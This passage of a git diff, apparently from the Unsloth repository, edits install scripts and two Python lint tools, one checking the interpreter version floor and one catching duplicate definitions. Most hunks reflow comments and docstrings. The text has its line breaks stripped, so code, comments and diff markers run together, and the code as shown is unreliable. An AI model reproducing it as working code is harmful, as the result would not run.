installer is verified against a hardcoded SHA-256 before# execution. Rotate the digest only after verifying the new payload.-# ============================================================-## Usage:# bash install_qwen3_6_mlx.sh [--venv-dir DIR]-## This script:# 1. Creates a Python virtual environment# 2. Installs uv, mlx-vlm, transformers, torch, torchvision-# ============================================================# ── Output style (inspired by unsloth/install.sh) ─────────────RULE=""@@ -115,6 +109,7 @@ fi# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256# and updating the constant below. We fetch into a temp file, verify# the digest, and only then execute. Mismatch aborts.+# ── Install uv ───────────────────────────────────────────────_UV_INSTALLER_SHA256="48cd5aca5d5671a3b3d5f61538cc8622e4434af63319115159990d8b0dd02416"if ! command -v uv >/dev/null 2>&1; thendiff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.shindex c3423c26665..63d6e06fc60 100644--- a/scripts/install_rocm_wsl_strixhalo.sh+++ b/scripts/install_rocm_wsl_strixhalo.sh@@ -1,7 +1,6 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## ──────────────────────────────────────────────────────────────────────────────# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).@@ -11,23 +10,19 @@# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.-## Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with# production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once# installed + rebooted, /dev/dxg is exposed to WSL and this script builds the rest.-## HOW ROCDXG WORKS (and why older /usr/lib/wsl/lib notes are wrong): librocdxg.so# is AMD's user-mode bridge between the Linux HSA runtime and the Windows driver# over /dev/dxg. The STANDARD hsa-rocr runtime (NOT the gone "roc4wsl" package)# loads it when HSA_ENABLE_DXG_DETECTION=1. No hsa/rocm libs need injecting into# /usr/lib/wsl/lib (it holds only d3d12/dxcore), yet rocminfo enumerates gfx1151# fine -- so we gate on /dev/dxg, not on WSL lib injection.-## KNOWN CAVEAT (ROCm/ROCm#6022): librocdxg can cap usable ROCm VRAM at the WSL# VM's RAM (.wslconfig [wsl2] memory=) on some BIOS UMA layouts, and amd-smi# doesn't work in WSL. On OOM below capacity, raise memory= (then wsl --shutdown)# and watch GPU use from Windows. Large-UMA BIOS exposes the full pool regardless.-## Verified on Ryzen AI Max+ PRO 395 / Radeon 8060S (gfx1151) with ROCm 7.2.1 +# Ubuntu 24.04 + WSL2 + Adrenalin. These pins MOVE; bump + re-verify on newer ROCm.# ──────────────────────────────────────────────────────────────────────────────diff --git a/scripts/lint_backend_python_floor.py b/scripts/lint_backend_python_floor.pyindex 2a01bfbf6e9..db072f7ac58 100644--- a/scripts/lint_backend_python_floor.py+++ b/scripts/lint_backend_python_floor.py@@ -4,26 +4,13 @@"""Refuse backend source that needs a newer interpreter than the matrix floor.-A pull request runs Backend CI on the NEWEST interpreter only. Every older leg still runs-on the push to main, so a version-specific break is caught at merge rather than never, but-between opening a pull request and merging it nothing executes the backend on the oldest-one. This closes as much of that gap as a static check can.--Syntax is the easy half, and ``tests/test_python39_compatibility.py`` already covers it by-parsing at the version ``pyproject.toml`` declares. Syntax is also not the shape this-regression takes. The realistic mistake is reaching for a stdlib name that does not exist-yet -- ``core/research_runs.py`` already uses ``anext``, which is 3.10 -- and that parses-perfectly on every version and fails only when the line runs.--So this asks vermin, which reads both syntax and stdlib API availability, and compares the-answer against the oldest leg the workflow's own matrix declares rather than a number-written here. Raise the floor in the matrix and this follows; use a symbol from above it-and this fails in seconds, on every pull request, instead of on main in 23 minutes.--What it cannot do, stated so nobody mistakes it for the legs it partly replaces: it does-not run anything. Two interpreters that both accept a line can still behave differently on-it, and a ``sys.version_info`` branch is only ever parsed here, never taken. That is what-the full matrix on main is for.+A pull request runs Backend CI on the NEWEST interpreter only. Every older leg still runs on the push to main, so a version-specific break is caught at merge rather than never, but between opening a pull request and merging it nothing executes the backend on the oldest one. This closes as much of that gap as a static check can.++Syntax is the easy half and ``tests/test_python39_compatibility.py`` already covers it by parsing at the version ``pyproject.toml`` declares; it is also not the shape this regression takes. The realistic mistake is reaching for a stdlib name that does not exist yet (``core/research_runs.py`` already uses ``anext``, which is 3.10), which parses perfectly on every version and fails only when the line runs.++So this asks vermin, which reads both syntax and stdlib API availability, and compares the answer against the oldest leg the workflow declares rather than a number written here. Raise the floor and this follows; use a symbol from above it and this fails in seconds on every pull request instead of on main in 23 minutes.++What it cannot do: it does not run anything. Two interpreters that both accept a line can still behave differently on it, and a ``sys.version_info`` branch is only ever parsed here, never taken. That is what the full matrix on main is for."""from __future__ import annotations@@ -38,40 +25,20 @@ from pathlib import PathREPO = Path(__file__).resolve().parents[1]WORKFLOW = REPO / ".github" / "workflows" / "studio-backend-ci.yml"-# Both trees the matrix legs actually execute.-# studio-backend-ci lists 'unsloth_cli/**' in its own paths filter and runs `pytest unsloth_cli/tests` as a step on-# every leg, so a post-floor stdlib name on a shipped CLI path was covered by the old 3.10 leg exactly as a backend-# one was. Scanning only the backend would have moved that coverage to the push to main while looking like it had-# replaced it.+# Both trees the matrix legs actually execute. studio-backend-ci lists 'unsloth_cli/**' in its own paths filter and runs `pytest unsloth_cli/tests` on every leg, so a post-floor stdlib name on a shipped CLI path was covered by the old 3.10 leg exactly as a backend one was; scanning only the backend would have moved that coverage to the push to main while looking like it had replaced it.ROOTS = (REPO / "studio" / "backend",REPO / "unsloth_cli",)-# Everything shipped under studio/backend is scanned.-# The first version of this listed the packages instead, and that is exactly the wrong shape for a floor check: it named-# core, utils and routes and silently missed 116 files, including all of hub, plugins, models, storage, auth, picker and-# state, plus _platform_compat.py which main.py imports directly.-# It also named "loggers.py", which is a directory, so that entry matched nothing at all.-# studio-backend-ci runs `pytest tests/` from studio/backend on every leg, so a 3.11 API in a test file is executed by-# the 3.10 leg exactly as one in a shipped module is.-# With the pull request down to a single 3.13 leg, that leg and this lint would both pass and the failure would arrive-# on the push to main, which is the whole gap this exists to close.+# Everything shipped under studio/backend is scanned. The first version listed the packages instead, which is exactly the wrong shape for a floor check: it named core, utils and routes and silently missed 116 files, including all of hub, plugins, models, storage, auth, picker and state, plus _platform_compat.py which main.py imports directly, and it named "loggers.py", a directory, so that entry matched nothing. studio-backend-ci runs `pytest tests/` from studio/backend on every leg, so a 3.11 API in a test file is executed by the 3.10 leg exactly as one in a shipped module is, and with the pull request down to a single 3.13 leg that leg and this lint would both pass while the failure arrived on the push to main.EXCLUDE_PARTS = ("vendor", "node_modules", "__pycache__", ".venv")-# An above-floor symbol reached deliberately is suppressed AT THE SITE, with `# novermin` and a comment saying why, not-# by dropping its file from the scan.-# The one live case is locale.getencoding() in the data-designer plugin's state_store, inside a try/except-# AttributeError with a pre-3.11 fallback.+# An above-floor symbol reached deliberately is suppressed AT THE SITE, with `# novermin` and a comment saying why, not by dropping its file from the scan. The one live case is locale.getencoding() in the data-designer plugin's state_store, inside a try/except AttributeError with a pre-3.11 fallback.-# The floor is DECLARED, in the workflow, next to where the legs used to be.-# Deriving it from the matrix became self-defeating once the matrix ran one interpreter: a 3.13-only matrix would move-# the floor to 3.13 and leave this asserting that code written for 3.13 runs on 3.13. Deriving it from pyproject.toml-# is not the answer either, because that says >= 3.9 and is not true today: unsloth/models/_utils.py already uses-# tempfile.TemporaryDirectory(ignore_cleanup_errors), which is 3.10, so a 3.9 target fails on the tree as it stands.-# So it is a number, written down once, in the workflow that would otherwise have tested it, and read from there.+# The floor is DECLARED, in the workflow, next to where the legs used to be. Deriving it from the matrix became self-defeating once the matrix ran one interpreter: a 3.13-only matrix would move the floor to 3.13 and leave this asserting that code written for 3.13 runs on 3.13. pyproject.toml is not the answer either, because it says >= 3.9 and that is not true today: unsloth/models/_utils.py already uses tempfile.TemporaryDirectory(ignore_cleanup_errors), which is 3.10.FLOOR_KEY = "PYTHON_FLOOR"@@ -107,9 +74,7 @@ def targets() -> list[str]:def main() -> int:floor = declared_floor()target = f"{floor[0]}.{floor[1]}"- # The console script, not `python -m vermin`: the package has no __main__, so that- # form exits nonzero for the wrong reason and this lint would fail on every run while- # looking like it had found something.+ # The console script, not `python -m vermin`: the package has no __main__, so that form exits nonzero for the wrong reason and this lint would fail on every run while looking like it had found something.vermin = shutil.which("vermin")if vermin is None:raise SystemExit(diff --git a/scripts/lint_duplicate_definitions.py b/scripts/lint_duplicate_definitions.pyindex 4d7c4a87c21..e0f388b9aba 100644--- a/scripts/lint_duplicate_definitions.py+++ b/scripts/lint_duplicate_definitions.py@@ -73,14 +73,7 @@ from typing import NamedTupleclass Finding(NamedTuple):- """`key` identifies WHICH duplicate this is, independently of where it sits.-- Compare mode needs that. Gating on "is this line new" is not sound: a merge that inserts- the FIRST copy above an existing definition reports on the SECOND, unchanged line, and a- duplicate alias added to a multi-line import reports at the statement's opening line.- Both are the exact bug this gate exists for, and both would read as pre-existing. So the- before and after revisions are scanned and their finding keys compared.- """+ """`key` identifies WHICH duplicate this is, independently of where it sits. Compare mode needs that: gating on "is this line new" is not sound, since a merge that inserts the FIRST copy above an existing definition reports on the SECOND, unchanged line, and a duplicate alias added to a multi-line import reports at the statement's opening line. Both are the exact bug this gate exists for, and both would read as pre-existing, so the before and after revisions are scanned and their finding keys compared."""line: intkey: str@@ -107,33 +100,12 @@ def _decorator_name(node) -> str:def _overload_names(tree) -> set:- """Every spelling of `typing.overload` this module actually binds.-- The exact-name set alone reads the decorator as written, so `import typing as t` with- `@t.overload`, or `from typing import overload as ov` with `@ov`, was not recognised and- the overload signatures were reported as duplicate definitions. That is the wrong way for- a gate to be wrong: a conventional typing pattern would block CI on correct code.-- MODULE-SCOPED, and not by a whole-tree walk. An alias bound INSIDE a function is not in- effect at module level, so collecting it globally let a local `import typing as t` exempt- module-level `@t.overload` definitions where `t` is something else entirely -- widening the- exemption is the one direction that hides merge damage.-- Nested statements are still descended into, because the conventional spellings are wrapped:- `try: from typing import overload / except ImportError: from typing_extensions import ...`- is an ast.Try at module level. Function and class bodies are what get skipped.- """+ """Every spelling of `typing.overload` this module actually binds. The exact-name set alone reads the decorator as written, so `import typing as t` with `@t.overload`, or `from typing import overload as ov` with `@ov`, was not recognised and the overload signatures were reported as duplicate definitions, which is the wrong way for a gate to be wrong: a conventional typing pattern would block CI on correct code. MODULE-SCOPED, and not by a whole-tree walk: an alias bound INSIDE a function is not in effect at module level, so collecting it globally let a local `import typing as t` exempt module-level `@t.overload` definitions where `t` is something else entirely, and widening the exemption is the one direction that hides merge damage. Nested statements are still descended into, because the conventional spellings are wrapped (`try: from typing import overload / except ImportError: from typing_extensions import ...` is an ast.Try at module level); function and class bodies are what get skipped."""return _overload_names_in(tree.body, OVERLOAD_DECORATORS)def _overload_names_in(body, base) -> set:- """`base` plus every overload spelling bound directly by THIS body.-- Called once for the module and again for each class body, because a class that does its own- `import typing as t` binds `t` in the class namespace, where its `@t.overload` methods resolve- it. Collecting only module-level aliases reported those valid overloads as duplicates, which- blocks CI on correct code.- """+ """`base` plus every overload spelling bound directly by THIS body. Called once for the module and again for each class body, because a class that does its own `import typing as t` binds `t` in the class namespace, where its `@t.overload` methods resolve it; collecting only module-level aliases reported those valid overloads as duplicates, which blocks CI on correct code."""names: set = set(base)modules = {"typing", "typing_extensions"}@@ -153,8 +125,7 @@ def _overload_names_in(body, base) -> set:visit(getattr(node, field, []) or [])for handler in getattr(node, "handlers", []) or []:visit(handler.body)- # Same blind spot as _branch_bodies, mirrored: an alias bound inside a match case would go unseen and its- # @t.overload defs would read as a duplicate.+ # Same blind spot as _branch_bodies, mirrored: an alias bound inside a match case would go unseen and its @t.overload defs would read as a duplicate.for case in getattr(node, "cases", []) or []:visit(case.body)@@ -163,16 +134,7 @@ def _overload_names_in(body, base) -> set:def _branch_bodies(node):- """Each nested statement body of a control-flow node, to be scanned INDEPENDENTLY.-- One definition per branch of an if/else, or a fallback import in try/except, is the normal- conditional idiom, so the branches are never compared with each other or with the body around- them. But two copies of one def inside ONE branch is the same merge damage as anywhere else,- and skipping the branch entirely meant never looking.-- Functions and classes are excluded: a function body is a scope this gate does not scan, and a- class body is recursed into separately so it gets its own name prefix and its own aliases.- """+ """Each nested statement body of a control-flow node, to be scanned INDEPENDENTLY. One definition per branch of an if/else, or a fallback import in try/except, is the normal conditional idiom, so the branches are never compared with each other or with the body around them; but two copies of one def inside ONE branch is the same merge damage as anywhere else, and skipping the branch entirely meant never looking. Functions and classes are excluded: a function body is a scope this gate does not scan, and a class body is recursed into separately so it gets its own name prefix and its own aliases."""if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)):returnfor field in ("body", "orelse", "finalbody"):@@ -182,8 +144,7 @@ def _branch_bodies(node):for handler in getattr(node, "handlers", []) or []:if handler.body:yield handler.body- # A match keeps its branches in `cases[*].body`, so the loop above walked straight past them and two copies of one- # def inside a SINGLE case scanned clean.+ # A match keeps its branches in `cases[*].body`, so the loop above walked straight past them and two copies of one def inside a SINGLE case scanned clean.for case in getattr(node, "cases", []) or []:if case.body:yield case.body@@ -197,12 +158,7 @@ def _is_overload_def(node, overloads) -> bool:def _accessor_kind(node) -> str:- """`setter` / `deleter` / `getter` for the accessor form, else "".-- `@property` itself is NOT one of them. It is the FIRST binding of the name, so exempting it- hid two complete copies of a property in one class, which is the same merge damage as any- other duplicated def. What legitimately rebinds is `@v.setter` / `@v.deleter` / `@v.getter`.- """+ """`setter` / `deleter` / `getter` for the accessor form, else "". `@property` itself is NOT one of them: it is the FIRST binding of the name, so exempting it hid two complete copies of a property in one class, which is the same merge damage as any other duplicated def. What legitimately rebinds is `@v.setter` / `@v.deleter` / `@v.getter`."""for decorator in getattr(node, "decorator_list", []):name = _decorator_name(decorator)if name.count(".") == 1 and name.split(".")[1] in PROPERTY_ATTRS:@@ -211,12 +167,7 @@ def _accessor_kind(node) -> str:def _constant_targets(target):- """The uppercase names a single assignment target binds.-- A tuple target is not one binding but several: `B, H, N, D = 1, 16, 50345, 128` is a- shape this repo declares module constants with, and duplicating that line rebinds- every one of them at once.- """+ """The uppercase names a single assignment target binds. A tuple target is not one binding but several: `B, H, N, D = 1, 16, 50345, 128` is a shape this repo declares module constants with, and duplicating that line rebinds every one of them at once."""if isinstance(target, ast.Name):return [target.id] if target.id.isupper() else []if isinstance(target, (ast.Tuple, ast.List)):@@ -229,48 +180,33 @@ def _defined_names(node, overloads):if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):if _is_overload_def(node, overloads):return []- # ONE ACCESSOR OF EACH KIND IS LEGITIMATE; A SECOND OF THE SAME KIND IS NOT. Discarding every accessor meant a- # getter followed by two copies of the same `@value.setter` scanned clean, with the later setter silently- # replacing the earlier one -- which is exactly the merge damage this gate is for. Keying on the KIND keeps the- # getter and the setter apart while making two setters collide.+ # ONE ACCESSOR OF EACH KIND IS LEGITIMATE; A SECOND OF THE SAME KIND IS NOT. Discarding every accessor meant a getter followed by two copies of the same `@value.setter` scanned clean, with the later setter silently replacing the earlier one, exactly the merge damage this gate is for. Keying on the KIND keeps the getter and the setter apart while making two setters collide.kind = _accessor_kind(node)if kind:return [(f"{node.name}.{kind}", f"{kind} accessor")]return [(node.name, "def")]if isinstance(node, ast.ClassDef):return [(node.name, "class")]- # `X: int = 1` is an AnnAssign, not an Assign, and a typed module-level constant is common in this repo- # (MAX_FUSED_SIZE: int = 65536).- # EVERY target, not a lone one: a chained `N = K = 256` (which this repo writes, in- # tests/test_grouped_gemm_optional_gather_indices.py) parks two names in one statement, and requiring exactly one- # target dropped both, so duplicating the line rebound both while the scan reported clean.+ # `X: int = 1` is an AnnAssign, not an Assign, and a typed module-level constant is common in this repo (MAX_FUSED_SIZE: int = 65536). EVERY target, not a lone one: a chained `N = K = 256` (which this repo writes, in tests/test_grouped_gemm_optional_gather_indices.py) parks two names in one statement, and requiring exactly one target dropped both, so duplicating the line rebound both while the scan reported clean.if isinstance(node, ast.Assign):targets, value = node.targets, node.valueelif isinstance(node, ast.AnnAssign) and node.value is not None:targets, value = [node.target], node.valueelse:return []- # `X = frozenset(X)` / `X = X + (...)` transforms a constant rather than redefining it.- # Only a value computed WITHOUT the old one replaces it, decided per name so that `A, B = B, A` exempts both while- # `A, B = 1, 2` exempts neither.+ # `X = frozenset(X)` / `X = X + (...)` transforms a constant rather than redefining it. Only a value computed WITHOUT the old one replaces it, decided per name so that `A, B = B, A` exempts both while `A, B = 1, 2` exempts neither.referenced = {sub.id for sub in ast.walk(value) if isinstance(sub, ast.Name)}names = []for target in targets:for name in _constant_targets(target):- # One statement binding a name twice (`X = X = 1`) still binds it once, so it is not the two-copies damage- # this looks for.+ # One statement binding a name twice (`X = X = 1`) still binds it once, so it is not the two-copies damage this looks for.if name not in referenced and name not in names:names.append(name)return [(name, "constant") for name in names]def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:- """Names bound twice as direct children of one body; recurses into class bodies.-- `overloads` is what a decorator in THIS body resolves to; `module_overloads` is what a- decorator in a fresh class body resolves to. They differ because a class body is not part- of the scope chain of a class nested inside it.- """+ """Names bound twice as direct children of one body; recurses into class bodies. `overloads` is what a decorator in THIS body resolves to; `module_overloads` is what a decorator in a fresh class body resolves to. They differ because a class body is not part of the scope chain of a class nested inside it."""seen = {}for node in body:for name, kind in _defined_names(node, overloads):@@ -287,12 +223,7 @@ def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:else:seen[name] = (node.lineno, kind)if isinstance(node, ast.ClassDef):- # The class gets the MODULE's aliases plus any it binds itself, never the enclosing class's. "The scope of- # names defined in a class block is limited to the class block", and a class body resolves an unbound name- # in the GLOBAL namespace, so a nested class does not see `import typing as t` from the class around it.- # Passing the outer set down exempted `@t.overload` in the inner class where `t` is whatever the MODULE- # bound it to, and two copies of one def scanned clean; widening the exemption is the one direction that- # hides merge damage.+ # The class gets the MODULE's aliases plus any it binds itself, never the enclosing class's. "The scope of names defined in a class block is limited to the class block", and a class body resolves an unbound name in the GLOBAL namespace, so a nested class does not see `import typing as t` from the class around it. Passing the outer set down exempted `@t.overload` in the inner class where `t` is whatever the MODULE bound it to, and two copies of one def scanned clean; widening the exemption is the one direction that hides merge damage._scope_duplicates(node.body,f"{scope}{node.name}.",@@ -301,19 +232,12 @@ def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:module_overloads,)for nested in _branch_bodies(node):- # A control-flow branch is not a scope, so it keeps the aliases of the body it sits in -- only a class body- # starts over.+ # A control-flow branch is not a scope, so it keeps the aliases of the body it sits in; only a class body starts over._scope_duplicates(nested, scope, out, overloads, module_overloads)def _import_duplicates(body, scope, out) -> None:- """A name imported twice within one statement, or twice from the same module.-- Keyed on the name each alias BINDS, not on the name it comes from: `from m import x as v`- followed by `from m import y as v` binds `v` twice and the second silently wins, which is- the dead-binding this is here to catch. Plain `import a.b` keeps the full dotted path in- its key too, since `import urllib.parse` beside `import urllib.request` is correct.- """+ """A name imported twice within one statement, or twice from the same module. Keyed on the name each alias BINDS, not on the name it comes from: `from m import x as v` followed by `from m import y as v` binds `v` twice and the second silently wins, which is the dead-binding this is here to catch. Plain `import a.b` keeps the full dotted path in its key too, since `import urllib.parse` beside `import urllib.request` is correct."""seen_implicit: dict = {} # (bound name, source) -> line; a name nobody choseseen_explicit: dict = {} # bound name -> line; a name the author wrote after `as`for node in body:@@ -323,33 +247,21 @@ def _import_duplicates(body, scope, out) -> None:elif isinstance(node, ast.Import):module = None # the source is per-alias for a plain import, not per-statementelse:- # Class bodies are scanned too: two `from m import x` inside one class bind x twice in that scope exactly- # as they would at module level.+ # Class bodies are scanned too: two `from m import x` inside one class bind x twice in that scope exactly as they would at module level.if isinstance(node, ast.ClassDef):_import_duplicates(node.body, f"{scope}{node.name}.", out)- # Each control-flow branch on its own: `try: import x / except: import x` is the fallback idiom and stays- # clean, while two of the same import INSIDE one branch is the ordinary duplicate this looks for and used- # to be skipped with the branch.+ # Each control-flow branch on its own: `try: import x / except: import x` is the fallback idiom and stays clean, while two of the same import INSIDE one branch is the ordinary duplicate this looks for and used to be skipped with the branch.for nested in _branch_bodies(node):_import_duplicates(nested, scope, out)continuefor alias in node.names:if alias.name == "*":continue- # `import a.b` binds `a`, not `a.b`; only an `as` clause binds the dotted name.- # Using `alias.asname` raw here instead missed `import urllib.parse` followed by `import urllib.parse as- # urllib`, which silently repoints `urllib` from the package to the submodule.+ # `import a.b` binds `a`, not `a.b`; only an `as` clause binds the dotted name. Using `alias.asname` raw here instead missed `import urllib.parse` followed by `import urllib.parse as urllib`, which silently repoints `urllib` from the package to the submodule.source = module if module is not None else alias.namebound = alias.asname or (alias.name if module is not None else alias.name.split(".")[0])implicit = alias.asname is None- # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first. Keeping one entry per- # bound name and skipping the legitimate different-source case left `seen` pointing- # at the first source forever, so in `from a import x` / `from b import x` /- # `from b import x` the third was compared with `a`, looked like the legitimate- # shape again, and the exact repeat of `b` went unreported.- #- # So an implicit binding collides with the SAME source, and an explicit one -- a name- # the author chose -- collides with any earlier binding of that name at all.+ # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first: keeping one entry per bound name and skipping the legitimate different-source case left `seen` pointing at the first source forever, so in `from a import x` / `from b import x` / `from b import x` the third was compared with `a`, looked like the legitimate shape again, and the exact repeat of `b` went unreported. So an implicit binding collides with the SAME source, and an explicit one, a name the author chose, collides with any earlier binding of that name at all.first = seen_explicit.get(bound)if implicit:first = seen_implicit.get((bound, source), first)@@ -367,12 +279,7 @@ def _import_duplicates(body, scope, out) -> None:out.append(Finding(node.lineno,- # The emitted identity must mirror the detection key. Keyed on the bound name alone, two- # DIFFERENT plain-import duplicates both read as `import:None:x`, so compare mode charged a- # newly introduced one against a pre-existing counter entry and passed. DELIMITED, because- # `scope` ends in a dot and `source` may contain them: a module-level `from A.m import x` and- # a `from m import x` inside `class A` both spelled `import:A.m:x`, so compare mode let a- # branch swap one for the other and charged the new one to the old.+ # The emitted identity must mirror the detection key. Keyed on the bound name alone, two DIFFERENT plain-import duplicates both read as `import:None:x`, so compare mode charged a newly introduced one against a pre-existing counter entry and passed. DELIMITED, because `scope` ends in a dot and `source` may contain them: a module-level `from A.m import x` and a `from m import x` inside `class A` both spelled `import:A.m:x`, so compare mode let a branch swap one for the other and charged the new one to the old.f"import:{scope}|{source}:{bound}",f"{scope}{bound} is imported {where}",)@@ -401,13 +308,7 @@ def _git(args, cwd = None):def _decode_source(data: bytes) -> str:- """Decode Python source by ITS OWN declared encoding, the way the parser would.-- `text = True` decodes with the runner's locale, so a valid `# coding: cp1252` file holding- a non-UTF-8 byte raised UnicodeDecodeError out of `subprocess` and took the whole run down- -- on an unrelated edit, and on a file `compileall` and ruff both accept. PEP 263 says the- declaration decides, and `tokenize.detect_encoding` is the parser's own reader for it.- """+ """Decode Python source by ITS OWN declared encoding, the way the parser would. `text = True` decodes with the runner's locale, so a valid `# coding: cp1252` file holding a non-UTF-8 byte raised UnicodeDecodeError out of `subprocess` and took the whole run down, on an unrelated edit and on a file `compileall` and ruff both accept. PEP 263 says the declaration decides, and `tokenize.detect_encoding` is the parser's own reader for it."""try:encoding, _ = tokenize.detect_encoding(io.BytesIO(data).readline)except SyntaxError:@@ -428,17 +329,8 @@ def _revision_findings(revision: str, path: str):def _rename_map(before: str, after: str):- """{new path: old path} for the renames in this range.-- The changed-file sweep reports a renamed file under its NEW name, so looking the before- side up under that name finds nothing and every finding in it reads as introduced. A- branch that only moves a file carrying one of the duplicates already on main would then- be blocked for a duplicate it did not write.- """- # -z, because git quotes and backslash-escapes any non-ASCII path by default (core.quotePath), and the escaped- # spelling matches nothing.- # Under -z each rename is three NUL-terminated records, "R100", old, new -- the status is its own field- # rather than tab-joined to the paths.+ """{new path: old path} for the renames in this range. The changed-file sweep reports a renamed file under its NEW name, so looking the before side up under that name finds nothing and every finding in it reads as introduced, which would block a branch that only moves a file carrying one of the duplicates already on main."""+ # -z, because git quotes and backslash-escapes any non-ASCII path by default (core.quotePath), and the escaped spelling matches nothing. Under -z each rename is three NUL-terminated records, "R100", old, new: the status is its own field rather than tab-joined to the paths.listed = _git(["diff", "--name-status", "-z", "-M", "--diff-filter=R", before, after])if listed.returncode != 0:return {}@@ -478,8 +370,7 @@ _SELF_TEST_CASES = [(1, "<<<<<<< HEAD\ndef go():\n pass\n"),(1, "MAX_FUSED_SIZE: int = 65536\nMAX_FUSED_SIZE: int = 131072\n"),(1, "REGISTRY: dict = {}\nOTHER = 1\nREGISTRY = {'a': 1}\n"),- # Two aliases from one module landing on the same bound name: the second wins and the first is dead, which is the- # silent half of this bug.+ # Two aliases from one module landing on the same bound name: the second wins and the first is dead, which is the silent half of this bug.(1, "from m import x as value\nfrom m import y as value\n"),(1, "from m import x as value, y as value\n"),# A class body is a scope too, for imports as well as for defs.@@ -495,11 +386,9 @@ _SELF_TEST_CASES = [" def v(self):\n return 1\n\n @functools.cached_property\n"" def v(self):\n return 2\n",),- # Constants declared together in one tuple target: duplicating the line rebinds every one of them, so each is its- # own finding.+ # Constants declared together in one tuple target: duplicating the line rebinds every one of them, so each is its own finding.(4, "B, H, N, D = 1, 16, 50345, 128\nB, H, N, D = 2, 3, 4, 5\n"),- # A plain import binds the ROOT of its dotted path, so this repoints `urllib` from the package to the submodule and- # the first binding is dead.+ # A plain import binds the ROOT of its dotted path, so this repoints `urllib` from the package to the submodule and the first binding is dead.(1, "import urllib.parse\nimport urllib.parse as urllib\n"),# Negative controls: each of these is correct code and must report nothing.(0, "if FAST:\n def go():\n pass\nelse:\n def go():\n pass\n"),@@ -528,14 +417,11 @@ _SELF_TEST_CASES = [(0, "import urllib.parse as parse\nimport urllib.request as request\n"),(0, "value = 1\nvalue = 2\n"),(0, "import os\nfrom a import b\n\nX = 1\n\n\ndef go():\n return os, b, X\n"),- # A chained assignment binds every name in the chain, so duplicating the line rebinds every one of them. `N = K =- # 256` is written in this repo; requiring a single target dropped the whole statement and the duplicate went- # unreported.+ # A chained assignment binds every name in the chain, so duplicating the line rebinds every one of them. `N = K = 256` is written in this repo; requiring a single target dropped the whole statement and the duplicate went unreported.(2, "N = K = 256\nN = K = 512\n"),(0, "N = K = 256\nM = 512\n"),(0, "X = X = 1\n"), # one statement, one live binding- # Overload signatures reached through an import alias are still overloads. Reporting them is a FALSE POSITIVE that- # blocks CI on a conventional typing pattern.+ # Overload signatures reached through an import alias are still overloads. Reporting them is a FALSE POSITIVE that blocks CI on a conventional typing pattern.(0,"import typing as t\[email protected]\ndef f(x: int) -> int: ...\n"@@ -548,25 +434,20 @@ _SELF_TEST_CASES = [),# ...but the alias has to be typing's.(1, "import types as t\[email protected]\ndef f(x): ...\[email protected]\ndef f(x): ...\n"),- # One explicit alias, two sources: the second silently replaces the first, so the first is a dead binding. Keying- # on the source made the two look unrelated.+ # One explicit alias, two sources: the second silently replaces the first, so the first is a dead binding. Keying on the source made the two look unrelated.(1, "import urllib.parse as client\nimport urllib.request as client\n"),(1, "from os import path as v\nfrom sys import modules as v\n"),- # The shape that legitimately binds one name twice, and must stay legitimate: two plain imports of different- # submodules, both binding the package root.+ # The shape that legitimately binds one name twice, and must stay legitimate: two plain imports of different submodules, both binding the package root.(0, "import urllib.parse\nimport urllib.request\n"),# Still caught: the same package root rebound from the package to a submodule.(1, "import urllib.parse\nimport urllib.parse as urllib\n"),- # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first.- # Keeping one entry per bound name compared the third statement with the FIRST source, which looked like the- # legitimate different-source shape again, so an exact repeat went unreported.+ # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first: keeping one entry per bound name compared the third statement with the FIRST source, which looked like the legitimate different-source shape again, so an exact repeat went unreported.(1, "from a import x\nfrom b import x\nfrom b import x\n"),(1, "import urllib.parse\nimport urllib.request\nimport urllib.request\n"),(0, "from a import x\nfrom b import x\nfrom c import x\n"),# An explicit alias collides with a name already bound implicitly, in either order.(1, "import urllib.parse as urllib\nimport urllib.request\n"),- # A typing alias bound INSIDE a function is not in effect at module level, so it may not exempt a module-level- # decorator. Widening the exemption is what hides merge damage.+ # A typing alias bound INSIDE a function is not in effect at module level, so it may not exempt a module-level decorator. Widening the exemption is what hides merge damage.(1,"import types as t\n\n\ndef helper():\n import typing as t\n return t\n\n\n"@@ -599,9 +480,7 @@ _SELF_TEST_CASES = [" @t.overload\n def f(self, x: int): ...\n"" @t.overload\n def f(self, x: str): ...\n def f(self, x):\n return x\n",),- # ...but that alias stops at ITS OWN class body.- # A class nested inside it resolves an unbound name in the MODULE namespace, not in the class around it, so- # `@t.overload` in the inner class is `types.overload` here and the two copies are ordinary merge damage.+ # ...but that alias stops at ITS OWN class body: a class nested inside it resolves an unbound name in the MODULE namespace, not in the class around it, so `@t.overload` in the inner class is `types.overload` here and the two copies are ordinary merge damage.(1,"import types as t\n\n\nclass Outer:\n import typing as t\n\n class Inner:\n"@@ -615,16 +494,14 @@ _SELF_TEST_CASES = [" @t.overload\n def f(self, x: int): ...\n"" @t.overload\n def f(self, x: str): ...\n",),- # ...and a MODULE-level alias reaches every class body at every depth, so narrowing the inner class to its own- # bindings alone would be a false positive on correct code.+ # ...and a MODULE-level alias reaches every class body at every depth, so narrowing the inner class to its own bindings alone would be a false positive on correct code.(0,"import typing as t\n\n\nclass Outer:\n class Inner:\n"" @t.overload\n def f(self, x: int): ...\n"" @t.overload\n def f(self, x: str): ...\n",),- # Each control-flow branch scanned on its own: duplicated INSIDE one branch is 